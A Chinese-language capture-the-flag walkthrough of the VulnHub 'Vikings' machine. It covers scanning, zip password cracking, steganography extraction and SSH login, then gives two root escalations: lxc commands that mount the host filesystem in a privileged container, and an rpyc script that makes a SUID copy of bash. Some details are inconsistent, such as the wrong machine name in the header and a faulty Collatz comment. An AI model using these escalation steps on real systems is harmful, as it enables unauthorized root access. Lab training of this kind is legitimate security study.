準備:
攻擊機:虛擬機器器kali、本機win10。
靶機:DRIPPING BLUES: 1,網段地址我這裡設定的橋接,所以與本機電腦在同一網段,下載地址:https://download.vulnhub.com/vikings/Vikings.ova,下載後直接vbox開啟即可。
知識點:binwalk獲取隱藏資訊、base64檔案解密、john爆破密碼、考拉茲猜想、rpyc提權、lxd提權。
資訊收集:
通過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 192.168.1.0/24,獲得靶機地址:192.168.1.34。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.1.34,顯示開放了21、80埠,開啟了ssh、http服務。
存取web服務並檢查原始碼資訊未發現有效資訊,使用dirmap進行目錄掃描,發現war.txt。
存取war.txt檔案給出了一個目錄:/war-is-over,存取該目錄:http://192.168.1.34/site/war-is-over/,返回的是一串加密的字串。
字串解密:
將base64編碼(最後存在=,猜測應該是base64)的字串進行解碼儲存到本地並使用file檢視檔案型別,獲得檔案型別為zip,命令:curl http://192.168.1.34/site/war-is-over/ | base64 -d > upfine。
修改檔案字尾名然後進行解壓檔案,但是顯示需要密碼。使用fcrackzip進行密碼的爆破,命令:fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u upfine.zip,但是爆破失敗。
fcrackzip爆破失敗,那我們就使用zip2john把他的密碼資訊提取出來,命令:zip2john upfine.zip > passwd,然後使用john進行破解,命令:john passwd --show,成功獲得密碼:ragnarok123。
對檔案進行解密,解密之後發現是一張圖片。
圖片解密:
使用steghide獲取隱藏資訊,但是獲取失敗,就換了下工具使用binwalk獲取隱藏資訊,發現存在一個user檔案。
使用binwalk獲取下user檔案並進行檢視,命令:binwalk -e king。檢視後獲得兩組字串:FamousBoatbuilder_floki@vikings和f@m0usboatbuilde7。
獲取shell:
根據獲取的字串資訊猜測是一組賬戶名和密碼,經過測試最終:floki:f@m0usboatbuilde7可以成功登入。
在當前賬戶下檢視下目錄資訊,發現了readme.txt檔案和boat檔案並讀取檔案內容,內容資訊告訴我們要找到ragnar,這裡猜測這是一個賬戶,boat檔案告訴我們要進行考拉茲猜想第29個素數。
提權-方式一:
檢視當前使用者下具有root許可權的可執行檔案都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,發現了:/usr/lib/policykit-1/polkit-agent-helper-1、/usr/lib/dbus-1.0/dbus-daemon-launch-helper、/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic。之前遇到過policykit兩個漏洞:CVE-2021-4034和CVE-2021-3560,在這裡測試無法提權。但是lxd提權在這裡是可以實現的。
這裡不是一個完整的lxd提權漏洞,因為映象等一些資訊都是已經安裝好的,在我們進行安裝時提示我們已經存在了,所以我們直接利用他原有的映象就可以實現提權。
檢視下image列表資訊,命令:lxc image list。
之後依次執行下面語句,成功獲得root許可權。
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
獲得root許可權後進入root目錄:cd /mnt/root/root,發現root.txt檔案並讀取flag值。
提權-方式二:
考拉茲猜想:
先理解下考拉茲猜想,直接看下圖,這個說的很直觀。
查詢了一下第29個素數,顯示是109,那寫一個簡單的指令碼跑一下29的Collatz 序列。
#對任意正整數n,若n為偶數則除以1,若n為奇數則乘3再加1,如此反覆,其結果最終必會達到1
#部落格園@upfine
num = 109
collatz=[109]
while num != 1:
if num % 2 == 1:
num = num * 3 + 1
else:
num = num / 2
if num <= 127 and num >32: #asii表內字元對應的10進位制範圍
collatz.append(int(num))
print(collatz)
[109, 164, 82, 41, 124, 62, 31, 94, 47, 142, 71, 214, 107, 161, 242, 121, 182, 91, 137, 206, 103, 155, 233, 175, 167, 251, 244, 122, 61, 184, 92, 46, 23, 70, 35, 106, 53, 160, 80, 40, 20, 10, 5, 16, 8, 4, 2, 1]
然後寫一個簡單的指令碼對Collatz 序列進行轉換,轉換後獲得一串字串:mR)|>^/Gky[gz=\.F#j5P(,猜測是密碼。
獲取ragnar賬戶shell:
嘗試使用ragnar/mR)|>^/Gky[gz=\.F#j5P(進行shell登入,成功登入,在ragnar賬戶下發現第一個flag資訊。
提權:
在ragnar賬戶目錄下,發現多出來了一個.profile檔案,檢視該檔案內容發現以root許可權呼叫了/usr/local/bin/rpyc_classic.py檔案。
檢視該檔案許可權,顯示只具有讀取許可權,無法寫入。這裡找了下指令碼直接將root許可權進行復制。
import rpyc
conn = rpyc.classic.connect('localhost')
def getshell():
import os
os.system('cp /bin/bash /tmp/bashroot && chmod +s /tmp/bashroot')
fn = conn.teleport(getshell)
fn()
寫入exp.py檔案進行執行,會在/tmp資料夾下生成bashroot檔案,執行bashroot檔案(./bashroot -p)獲得root許可權。
在root目錄下發現root.txt檔案,讀取檔案資訊獲取到flag。